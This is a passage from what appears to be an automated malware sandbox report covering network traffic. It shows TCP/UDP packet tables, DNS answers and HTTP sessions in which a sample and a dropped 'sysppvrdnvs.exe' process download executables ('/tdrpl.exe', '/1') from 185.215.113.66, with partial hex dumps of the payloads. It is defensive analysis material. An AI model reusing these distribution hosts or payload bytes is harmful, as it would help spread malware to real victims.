Oct 28, 2024 11:11:29.339692116 CET	80	57562	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:29.339704990 CET	80	57562	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:29.339714050 CET	80	57562	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:29.339713097 CET	57562	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:29.339724064 CET	80	57562	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:29.339735031 CET	80	57562	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:29.339755058 CET	57562	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:29.339755058 CET	57562	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:29.339896917 CET	57562	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:29.340420961 CET	57562	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:29.340646029 CET	57562	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:29.345300913 CET	80	57562	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:29.345419884 CET	57562	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:30.356348991 CET	57563	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:30.362339020 CET	80	57563	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:30.365775108 CET	57563	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:30.365884066 CET	57563	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:30.371840954 CET	80	57563	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:30.605326891 CET	57564	40500	192.168.2.4	2.63.29.22
Oct 28, 2024 11:11:30.611072063 CET	40500	57564	2.63.29.22	192.168.2.4
Oct 28, 2024 11:11:30.613800049 CET	57564	40500	192.168.2.4	2.63.29.22
Oct 28, 2024 11:11:30.615005016 CET	57564	40500	192.168.2.4	2.63.29.22
Oct 28, 2024 11:11:30.620460987 CET	40500	57564	2.63.29.22	192.168.2.4
Oct 28, 2024 11:11:30.621777058 CET	57564	40500	192.168.2.4	2.63.29.22
Oct 28, 2024 11:11:30.627492905 CET	40500	57564	2.63.29.22	192.168.2.4
Oct 28, 2024 11:11:31.283780098 CET	80	57563	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:31.283879995 CET	80	57563	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:31.283895969 CET	80	57563	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:31.283911943 CET	80	57563	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:31.283926010 CET	80	57563	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:31.283941984 CET	80	57563	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:31.283957005 CET	80	57563	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:31.283957005 CET	57563	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:31.283957005 CET	57563	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:31.283972025 CET	80	57563	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:31.283988953 CET	80	57563	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:31.283993006 CET	57563	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:31.283993006 CET	57563	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:31.284001112 CET	57563	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:31.284034014 CET	57563	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:33.024405956 CET	57564	40500	192.168.2.4	2.63.29.22
Oct 28, 2024 11:11:33.024519920 CET	57563	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:33.024703026 CET	49740	80	192.168.2.4	91.202.233.141

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 11:11:23.546010017 CET	50345	40500	192.168.2.4	5.239.153.192
Oct 28, 2024 11:11:27.628107071 CET	53	65131	1.1.1.1	192.168.2.4
Oct 28, 2024 11:11:28.559672117 CET	50345	40500	192.168.2.4	5.75.95.114

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 11:11:23.587496042 CET	1.1.1.1	192.168.2.4	0x22dd	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 28, 2024 11:11:23.587496042 CET	1.1.1.1	192.168.2.4	0x22dd	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

185.215.113.66

91.202.233.141

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.66	80	6852	C:\Users\user\Desktop\Bjl3geiFEK.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 11:11:11.845627069 CET	282	OUT	GET /tdrpl.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 185.215.113.66 Connection: Keep-Alive
Oct 28, 2024 11:11:12.754463911 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 28 Oct 2024 10:11:12 GMT Content-Type: application/octet-stream Content-Length: 85504 Last-Modified: Sun, 20 Oct 2024 18:13:32 GMT Connection: keep-alive ETag: "6715484c-14e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6d bb 70 6a 29 da 1e 39 29 da 1e 39 29 da 1e 39 20 a2 94 39 2e da 1e 39 51 a8 1f 38 2b da 1e 39 ea d5 43 39 2b da 1e 39 ea d5 41 39 28 da 1e 39 ea d5 11 39 2b da 1e 39 0e 1c 73 39 2d da 1e 39 29 da 1f 39 95 da 1e 39 0e 1c 65 39 3c da 1e 39 20 a2 9d 39 2d da 1e 39 20 a2 9a 39 35 da 1e 39 20 a2 8f 39 28 da 1e 39 52 69 63 68 29 da 1e 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a4 84 07 67 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 ee 00 00 00 70 00 00 00 00 00 00 40 79 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$mpj)9)9)9 9.9Q8+9C9+9A9(99+9s9-9)99e9<9 9-9 959 9(9Rich)9PELgp@y@p\|0.text `.rdata?@@@.data.@2@
Oct 28, 2024 11:11:12.754487038 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b 6c 24 08 8b 45 20 56 33 f6 57 8b 7c 24 20 85 c0 74 1c 8b 4f 04 39 08 75 0a 66 Data Ascii: Ul$E V3W\|$ tO9ufPf;Wt@uu"j
Oct 28, 2024 11:11:12.754501104 CET	1236	IN	Data Raw: 00 8b f0 8b 47 04 89 06 66 8b 4f 02 66 89 4e 04 8b 55 20 89 56 1c 83 c4 04 89 75 20 e8 c5 ce 00 00 8b 4c 24 14 8b 7c 24 18 89 46 08 8b 44 24 1c 50 51 e8 0f 05 00 00 83 c4 08 84 c0 74 75 53 8d a4 24 00 00 00 00 8b 4e 0c 83 f9 04 72 64 8b 46 18 8b Data Ascii: GfOfNU Vu L$\|$FD$PQtuS$NrdF;wX}xttSWTAuD$$MPSWUNxF;uF+tP9RQA)~[_^]USV3W}\$OD$Phf@QD$
Oct 28, 2024 11:11:12.754512072 CET	1236	IN	Data Raw: 6a 01 8d 54 24 28 52 6a 04 66 89 44 24 1a c6 44 24 30 01 8b 46 08 68 ff ff 00 00 50 ff 15 18 02 41 00 8b 56 08 6a 10 8d 4c 24 10 51 52 ff 15 1c 02 41 00 83 f8 ff 75 12 56 e8 e4 fd ff ff 83 c4 04 5e 5b 33 c0 5f 83 c4 10 c3 6a 00 6a 00 56 68 00 11 Data Ascii: jT$(RjfD$D$0FhPAVjL$QRAuV^[3_jjVh@jj^AF^[_FS2Ul$;FvNPQFFFT$FWRP~;uF;vu]F[Ft;r+F][+n][W
Oct 28, 2024 11:11:12.754523993 CET	1236	IN	Data Raw: 3e 69 6c 63 69 75 07 8b c6 e8 00 03 00 00 8b 3d 34 01 41 00 ff d7 8b 74 24 0c 2b c6 3d e8 03 00 00 72 3e 8d 73 20 56 ff 15 f4 00 41 00 8b 7b 38 85 ff 74 24 83 bf 60 02 00 00 ff 74 16 8b bf 80 02 00 00 85 ff 75 ed 56 ff 15 f8 00 41 00 e9 80 00 00 Data Ascii: >ilciu=4At$+=r>s VA{8t$`tuVAVAr+='rgC PAs8tBjVRXA+r`tPf`uC PA4AD$CjP`A_^[]
Oct 28, 2024 11:11:12.754535913 CET	1236	IN	Data Raw: 24 18 89 44 24 08 8b 87 70 02 00 00 89 54 24 1c 8b 97 7c 02 00 00 8d 4c 24 08 51 89 44 24 18 8b 46 28 52 b9 02 00 00 00 8b d7 89 44 24 28 e8 57 f8 ff ff 83 c4 08 5f 5e 83 c4 1c c3 83 c6 14 56 ff 15 64 00 41 00 6a 04 8d 54 24 2c 52 b8 01 00 00 00 Data Ascii: $D$pT$\|L$QD$F(RD$(W_^VdAjT$,RhfD$4`h3PufL$>A`QA`_^U- AVW\|$jD$PGL$QT$ 3RPt$(t$ t$$L$;twSu*T$ RT$jD$ P
Oct 28, 2024 11:11:12.754548073 CET	1236	IN	Data Raw: 00 00 00 02 00 00 89 96 28 02 00 00 ff 15 fc 00 41 00 83 c7 3c 57 ff 15 5c 00 41 00 e8 35 fe ff ff 8b c6 5e 5b 5f 5d c3 56 e8 a8 87 00 00 83 c4 04 33 f6 55 e8 2d 91 00 00 83 c4 04 8b c6 5e 5b 5f 5d c3 cc cc cc 56 8b 74 24 08 85 f6 74 3a 81 3e 69 Data Ascii: (A<W\A5^[_]V3U-^[_]Vt$t:>ilciu2tu)\|@P\AL$tx^^UQj%EjMUMAUBE]UQEM
Oct 28, 2024 11:11:12.754560947 CET	1236	IN	Data Raw: 8b 11 52 e8 fa 82 00 00 83 c4 04 8b 45 08 c7 00 00 00 00 00 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 1c 8b 45 0c 25 ff ff 00 00 89 45 e4 8b 4d 0c c1 e9 10 81 e1 ff ff 00 00 89 4d ec 8b 55 10 81 e2 ff ff 00 00 89 55 fc 8b 45 10 c1 Data Ascii: RE]UE%EMMUUE%EMMUEEEMMMUUUE;EsEEMUMEEMUEM;UsEEMMUJEHM
Oct 28, 2024 11:11:12.754575968 CET	672	IN	Data Raw: eb 07 c7 45 fc 00 00 00 00 8b 4d f8 8b 55 08 8b 04 8a 8b 4d f8 8b 55 10 03 04 8a 8b 4d f8 8b 55 08 89 04 8a 8b 45 f8 8b 4d 08 8b 55 f8 8b 75 10 8b 04 81 3b 04 96 73 09 8b 4d fc 83 c1 01 89 4d fc eb 82 8b 45 fc 5e 8b e5 5d c3 cc cc cc 55 8b ec 83 Data Ascii: EMUMUMUEMUu;sMME^]UEEMMEUUE9EsMUEEEM;MUE<uMMUEEEEM;MU
Oct 28, 2024 11:11:12.755492926 CET	1236	IN	Data Raw: 00 00 00 80 c7 45 c8 00 00 00 00 eb 09 8b 55 c8 83 c2 01 89 55 c8 83 7d c8 20 73 1b 8b 45 fc 8b 4d 18 8b 54 81 fc 23 55 f4 74 02 eb 0a 8b 45 f4 d1 e8 89 45 f4 eb d6 8b 4d fc 51 8b 55 c8 52 8b 45 18 50 8b 4d 18 51 e8 d2 07 00 00 83 c4 10 89 45 f8 Data Ascii: EUU} sEMT#UtEEMQUREPMQEUUREPMQUREEEMMUUEE}EMMUUELMUELQUREPMQE}t=EUUELM
Oct 28, 2024 11:11:12.759903908 CET	1236	IN	Data Raw: ec c7 45 e0 00 00 00 00 8b 45 f4 83 c0 01 89 45 d0 eb 09 8b 4d d0 83 c1 01 89 4d d0 8b 55 d0 3b 55 dc 0f 83 25 01 00 00 8b 45 f4 8b 4d 0c 8b 14 81 52 8b 45 d0 8b 4d 0c 8b 14 81 52 8d 45 f8 50 e8 95 f3 ff ff 83 c4 0c 8b 4d f8 81 e1 00 00 00 80 f7 Data Ascii: EEEMMU;U%EMREMREPMMUUEEMMUUUEEEM;MsUUuEEMMMU;UsEEMMUEEMMUE;sMMu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	185.215.113.66	80	3060	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 11:11:20.606060028 CET	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 28, 2024 11:11:21.512868881 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 28 Oct 2024 10:11:21 GMT Content-Type: application/octet-stream Content-Length: 110600 Last-Modified: Mon, 28 Oct 2024 09:35:17 GMT Connection: keep-alive ETag: "671f5ad5-1b008" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 02 38 79 12 a8 9a 87 6a 07 b8 bb 78 39 22 7b 5b 26 ab 0b 54 4c be 08 2c 0a 8d 4c c0 6e 44 be d8 37 30 4c 6e a5 cc 8b 4d 50 c1 42 a2 d2 65 ba a4 81 27 94 4c 70 56 4a a8 a2 db 67 f9 0c f5 59 c6 b2 c1 1f 8d 5d ac c3 89 ec 68 3d 86 ef fd bc 4f 74 28 e6 50 3a c2 d3 07 6a 6a 6f 46 93 04 e6 15 ed 32 79 1c 90 b2 fd 3a d3 50 40 82 62 8a ae c7 36 5d 75 bd eb d1 44 5c de f6 69 34 3c d2 0d d5 09 51 3f 8a ab d7 f4 f8 b8 08 5f 3b 5d fc f8 21 e5 8e 41 10 34 b5 41 17 01 ea 08 9c 89 31 0a ed 63 f0 73 61 5e 9c 2b 64 51 21 78 6c fb 36 51 ff f4 38 77 85 e5 03 61 37 3f e6 e7 5d 83 54 25 3a 1b d7 d8 85 48 d7 31 b5 b0 aa 09 24 0f 6a bf de 08 ac b0 8b 83 34 66 b3 6b 21 83 92 7f 70 f8 46 7a d3 76 9e 08 8b 91 ef 0f 01 96 12 82 3f 6c 18 f9 80 35 dd a9 85 c7 37 09 bc 2e 28 13 d8 dd c0 99 3d 63 89 73 04 0d 63 08 46 cd 7b f2 d1 2d c6 75 45 b7 38 d9 44 1a f4 db 85 9f 51 46 02 09 c3 7c ba 38 8a 65 79 13 33 27 a7 40 3c 4b 71 9e fc 22 53 f7 2d 93 90 3f fd b9 34 a0 73 cc df b8 7f 2e 91 a7 53 85 ba 32 d7 bf fe [TRUNCATED] Data Ascii: NGS!8yjx9"{[&TL,LnD70LnMPBe'LpVJgY]h=Ot(P:jjoF2y:P@b6]uD\i4<Q?_;]!A4A1csa^+dQ!xl6Q8wa7?]T%:H1$j4fk!pFzv?l57.(=cscF{-uE8DQF\|8ey3'@<Kq"S-?4s.S2j=eLeYh+[}AM,@gW\Z)ET/\|"bWRoj(\|A,>?1;>"&;ucy[t`w #cdyysGx_ChI]Dey.:FQQC BZn2@X&>UYgDYZ)F!FFeh4VGK>V3#+$,&S.lkIF\Ck$)J_l\",0u!kT}V!YB{}nAL[Xo[+1\m,^bLMDj-g <_8d+-D/k<'dv-Qi`N4W(_"%5q844o4gdxsifcD^]M(A[gB4mwAV@g54]BLr!nWG,6+uY9U4OP&?vKi>X7Dto=2f
Oct 28, 2024 11:11:21.512989998 CET	1236	IN	Data Raw: b4 bd ad 62 69 93 e7 43 cf 35 4e 07 3e c2 37 6c 66 f1 c1 c8 10 ff ff ef 5e e4 1e 40 46 f2 4f 47 bb b9 53 b2 17 fe 91 80 48 a4 a5 9e 88 5e b0 09 b2 f7 1a 05 c1 ae 77 a6 1a 01 ba f2 27 90 fd 83 00 22 7e ab d7 16 d7 69 b8 9a d6 11 59 f5 10 ed 6f d3 Data Ascii: biC5N>7lf^@FOGSH^w'"~iYoT:1<~!HhQ:P^(K3: yXM^gQD55!HF?}'+Wxrp8U_HK\UxQ)\|Rai>&y+eu B
Oct 28, 2024 11:11:21.513026953 CET	1236	IN	Data Raw: 92 02 a6 af d3 8a 44 33 dc 7e c6 0b 87 b7 17 5b 32 9e d8 e3 7e 89 ae fe 0d ce 3b 86 4f 41 86 56 53 cf 5c d1 6d b9 e7 ab 2b 74 96 68 fa 98 de de 1d 87 40 33 cd 44 42 72 de c3 3e 36 e6 f9 aa 06 79 c6 c8 0c 64 26 c0 a8 10 55 43 92 4b 87 97 c4 af 18 Data Ascii: D3~[2~;OAVS\m+th@3DBr>6yd&UCK$D8$O#5LCLt.;{1h3]t.Eie\?\|6 : 3+`Se0L#}tK1(*ss\|@a$@bWEgU4
Oct 28, 2024 11:11:21.513062000 CET	1236	IN	Data Raw: c9 90 52 78 37 15 55 e7 3b 12 de 97 ad 09 08 34 9c f1 3e 5e eb 2a 63 8c 43 75 c5 71 82 c9 58 2a a4 3e cc f8 12 f3 7a b1 87 1d c5 f2 2b 58 69 da b0 8d c8 23 05 88 f5 df cf 88 ba 49 a6 1f bc 70 47 57 59 26 4d 98 3e 2e a6 8d 60 89 13 9e 54 9b 34 50 Data Ascii: Rx7U;4>^cCuqX>z+Xi#IpGWY&M>.`T4PXsK,UG]-7%h,S'\_KpX~h-v>CDyI(Bk%PrRq'? OZ,0+F_p4$8ce5\JA\|
Oct 28, 2024 11:11:21.513096094 CET	848	IN	Data Raw: 2d 5d 5d 9a a2 19 58 54 3f 1c 22 27 fe cc 6c ae 32 01 57 29 8c 43 bd f9 12 3a 50 2a 41 97 76 a7 d8 52 38 48 d8 e9 cd 74 59 bb d4 bf b6 10 02 29 f9 f4 15 10 c3 73 2a 5e da 1f b6 fe f8 51 3f f6 9f 7b 5a 9f 07 62 9c 14 01 e1 93 84 e8 4e b5 e0 0e b3 Data Ascii: -]]XT?"'l2W)C:PAvR8HtY)s^Q?{ZbNg!WOxD%f~vp{;yaAgXp# ?}0_LIa{g2ML2)83vZX;*M#>}df(gz;OE\wd(afrc@(Q
Oct 28, 2024 11:11:21.513134003 CET	1236	IN	Data Raw: e5 c7 48 fe 8e a5 32 e2 13 dd d2 2d 64 e7 e9 5c 6b 43 03 19 ca a8 00 64 ff 18 b9 f1 9d 4d d7 74 8b a0 5f 02 8f 37 31 12 8f 13 05 52 05 c3 aa 57 33 76 99 c9 a7 4c 1d 6e ef 86 cd 0c eb a3 b1 70 2a 37 e3 66 ec 2b 49 77 ef cf bf ce fb 36 71 50 84 c7 Data Ascii: H2-d\kCdMt_71RW3vLnp7f+Iw6qPRvWfKA+SjAn3'>N.KD"A#1a"!(?$\|%=e` 7ODu0Wn+NOayTvnB[4=}B!AS]v6jZD*&
Oct 28, 2024 11:11:21.513168097 CET	1236	IN	Data Raw: 2c ab a3 cb d3 d0 3b 48 ce 82 47 e8 01 6a cb db 94 a0 28 22 bb 49 f9 b3 d0 1e 4d 95 f8 48 88 81 e5 bc fb a8 de 10 1e 4d 86 3b 9d 22 c8 43 13 0a f6 0b 83 2a 40 3d 1e 6a 0b 90 01 d5 75 07 c4 a7 d8 73 9a 25 d4 87 54 8b 4f 20 f1 0b e3 71 55 5c 0c 60 Data Ascii: ,;HGj("IMHM;"C*@=jus%TO qU\`kqz(d];N_v3CM<k#Hd-_qoMx-Uy`r(4#f\|\|ZL!eyhK?7IXih2%E
Oct 28, 2024 11:11:21.513204098 CET	1236	IN	Data Raw: b7 eb d5 25 e2 56 5b 0d aa 58 ee a9 24 96 78 02 b1 03 d9 37 5a 27 c7 fa ab 02 4f b7 77 b8 d6 61 8c 11 cc 35 fe dd fa 9c b3 17 68 68 79 58 d6 91 26 cb cf cc ff bc 31 bd d3 10 2f e7 12 fb 76 06 2e ea b6 26 10 d4 f3 20 fe 37 f6 ff 94 8c ba 34 7d 80 Data Ascii: %V[X$x7Z'Owa5hhyX&1/v.& 74}D~"}-TN.`"=aUNoPpy@U$f^{q[BHQ:>:v<DmA[M=NHI"={`!a}j&C'Xe^X.t
Oct 28, 2024 11:11:21.513237953 CET	1236	IN	Data Raw: 50 9e cf ff d3 40 7a c7 f8 42 fe 25 37 4f 5d 4e ab 8b 92 d7 c2 30 99 d2 ab 7d 9c ac c4 aa 17 1d 59 5a 32 3a b1 48 b2 25 c1 ba 3e 25 fb b4 69 81 ab bd 29 75 ad b7 45 ea 4c e5 76 80 3b fa ec 7c 6f 7c 12 70 36 2d 91 1c 84 79 29 65 62 2a 42 9f 21 88 Data Ascii: P@zB%7O]N0}YZ2:H%>%i)uELv;\|o\|p6-y)ebB!p;gaO)[4.W{6R,+Yq3QqTS7d$6n^ ouj~0XvA$Eq<B7\#!``g~{(>i]D5n6EVl;7V
Oct 28, 2024 11:11:21.513276100 CET	1236	IN	Data Raw: 21 ea 20 8a db 04 95 75 c8 3d 17 76 c0 08 a4 6f 07 b0 c6 ab c4 f1 d5 fe b5 93 98 79 2e 09 cd 11 59 84 3d 04 a7 f1 c0 a4 3b 1e 22 b5 76 35 21 a8 3d ea 56 08 b8 ef 53 61 0d 1f 5d 2b 7f 33 16 8e 38 8e 34 bb 28 13 f4 8f c0 71 68 6b f4 63 25 63 92 07 Data Ascii: ! u=voy.Y=;"v5!=VSa]+384(qhkc%c-7p0Q.7#A9<U3NW4:0T]Gl_Ht&:UP}u\|C_/S0'n!C??&ol@ &d'C(!S"EYDXW
Oct 28, 2024 11:11:21.518661022 CET	1236	IN	Data Raw: d1 aa 3a 8f 5d c2 f2 31 d2 a0 d2 bb 0f 99 eb 94 1e 30 3c eb 7a b8 62 69 b4 5a 2c 8f 2e fb 1e 18 fa 28 dc 14 d4 cb 63 25 ac 74 b7 3a d6 9b 6f 04 e7 c2 7c 8b 2d f7 ea 3b 40 67 83 64 80 7c 71 df 88 2f 70 a1 a6 90 3f 78 8f 40 9c 12 94 75 f6 bd ef bf Data Ascii: :]10<zbiZ,.(c%t:o\|-;@gd\|q/p?x@uvO=dN^\|QHQ]JeUfH*O!$Ge!F7v.2He"5mjr=4O5n@a%"6pj$7yZJcXwx!QH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	185.215.113.66	80	3060	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 11:11:22.612062931 CET	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 28, 2024 11:11:23.515336037 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 28 Oct 2024 10:11:23 GMT Content-Type: application/octet-stream Content-Length: 110600 Last-Modified: Mon, 28 Oct 2024 09:35:17 GMT Connection: keep-alive ETag: "671f5ad5-1b008" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 02 38 79 12 a8 9a 87 6a 07 b8 bb 78 39 22 7b 5b 26 ab 0b 54 4c be 08 2c 0a 8d 4c c0 6e 44 be d8 37 30 4c 6e a5 cc 8b 4d 50 c1 42 a2 d2 65 ba a4 81 27 94 4c 70 56 4a a8 a2 db 67 f9 0c f5 59 c6 b2 c1 1f 8d 5d ac c3 89 ec 68 3d 86 ef fd bc 4f 74 28 e6 50 3a c2 d3 07 6a 6a 6f 46 93 04 e6 15 ed 32 79 1c 90 b2 fd 3a d3 50 40 82 62 8a ae c7 36 5d 75 bd eb d1 44 5c de f6 69 34 3c d2 0d d5 09 51 3f 8a ab d7 f4 f8 b8 08 5f 3b 5d fc f8 21 e5 8e 41 10 34 b5 41 17 01 ea 08 9c 89 31 0a ed 63 f0 73 61 5e 9c 2b 64 51 21 78 6c fb 36 51 ff f4 38 77 85 e5 03 61 37 3f e6 e7 5d 83 54 25 3a 1b d7 d8 85 48 d7 31 b5 b0 aa 09 24 0f 6a bf de 08 ac b0 8b 83 34 66 b3 6b 21 83 92 7f 70 f8 46 7a d3 76 9e 08 8b 91 ef 0f 01 96 12 82 3f 6c 18 f9 80 35 dd a9 85 c7 37 09 bc 2e 28 13 d8 dd c0 99 3d 63 89 73 04 0d 63 08 46 cd 7b f2 d1 2d c6 75 45 b7 38 d9 44 1a f4 db 85 9f 51 46 02 09 c3 7c ba 38 8a 65 79 13 33 27 a7 40 3c 4b 71 9e fc 22 53 f7 2d 93 90 3f fd b9 34 a0 73 cc df b8 7f 2e 91 a7 53 85 ba 32 d7 bf fe [TRUNCATED] Data Ascii: NGS!8yjx9"{[&TL,LnD70LnMPBe'LpVJgY]h=Ot(P:jjoF2y:P@b6]uD\i4<Q?_;]!A4A1csa^+dQ!xl6Q8wa7?]T%:H1$j4fk!pFzv?l57.(=cscF{-uE8DQF\|8ey3'@<Kq"S-?4s.S2j=eLeYh+[}AM,@gW\Z)ET/\|"bWRoj(\|A,>?1;>"&;ucy[t`w #cdyysGx_ChI]Dey.:FQQC BZn2@X&>UYgDYZ)F!FFeh4VGK>V3#+$,&S.lkIF\Ck$)J_l\",0u!kT}V!YB{}nAL[Xo[+1\m,^bLMDj-g <_8d+-D/k<'dv-Qi`N4W(_"%5q844o4gdxsifcD^]M(A[gB4mwAV@g54]BLr!nWG,6+uY9U4OP&?vKi>X7Dto=2f
Oct 28, 2024 11:11:23.515369892 CET	1236	IN	Data Raw: b4 bd ad 62 69 93 e7 43 cf 35 4e 07 3e c2 37 6c 66 f1 c1 c8 10 ff ff ef 5e e4 1e 40 46 f2 4f 47 bb b9 53 b2 17 fe 91 80 48 a4 a5 9e 88 5e b0 09 b2 f7 1a 05 c1 ae 77 a6 1a 01 ba f2 27 90 fd 83 00 22 7e ab d7 16 d7 69 b8 9a d6 11 59 f5 10 ed 6f d3 Data Ascii: biC5N>7lf^@FOGSH^w'"~iYoT:1<~!HhQ:P^(K3: yXM^gQD55!HF?}'+Wxrp8U_HK\UxQ)\|Rai>&y+eu B
Oct 28, 2024 11:11:23.515388966 CET	1236	IN	Data Raw: 92 02 a6 af d3 8a 44 33 dc 7e c6 0b 87 b7 17 5b 32 9e d8 e3 7e 89 ae fe 0d ce 3b 86 4f 41 86 56 53 cf 5c d1 6d b9 e7 ab 2b 74 96 68 fa 98 de de 1d 87 40 33 cd 44 42 72 de c3 3e 36 e6 f9 aa 06 79 c6 c8 0c 64 26 c0 a8 10 55 43 92 4b 87 97 c4 af 18 Data Ascii: D3~[2~;OAVS\m+th@3DBr>6yd&UCK$D8$O#5LCLt.;{1h3]t.Eie\?\|6 : 3+`Se0L#}tK1(*ss\|@a$@bWEgU4
Oct 28, 2024 11:11:23.515410900 CET	1236	IN	Data Raw: c9 90 52 78 37 15 55 e7 3b 12 de 97 ad 09 08 34 9c f1 3e 5e eb 2a 63 8c 43 75 c5 71 82 c9 58 2a a4 3e cc f8 12 f3 7a b1 87 1d c5 f2 2b 58 69 da b0 8d c8 23 05 88 f5 df cf 88 ba 49 a6 1f bc 70 47 57 59 26 4d 98 3e 2e a6 8d 60 89 13 9e 54 9b 34 50 Data Ascii: Rx7U;4>^cCuqX>z+Xi#IpGWY&M>.`T4PXsK,UG]-7%h,S'\_KpX~h-v>CDyI(Bk%PrRq'? OZ,0+F_p4$8ce5\JA\|
Oct 28, 2024 11:11:23.515428066 CET	1236	IN	Data Raw: 2d 5d 5d 9a a2 19 58 54 3f 1c 22 27 fe cc 6c ae 32 01 57 29 8c 43 bd f9 12 3a 50 2a 41 97 76 a7 d8 52 38 48 d8 e9 cd 74 59 bb d4 bf b6 10 02 29 f9 f4 15 10 c3 73 2a 5e da 1f b6 fe f8 51 3f f6 9f 7b 5a 9f 07 62 9c 14 01 e1 93 84 e8 4e b5 e0 0e b3 Data Ascii: -]]XT?"'l2W)C:PAvR8HtY)s^Q?{ZbNg!WOxD%f~vp{;yaAgXp# ?}0_LIa{g2ML2)83vZX;*M#>}df(gz;OE\wd(afrc@(Q
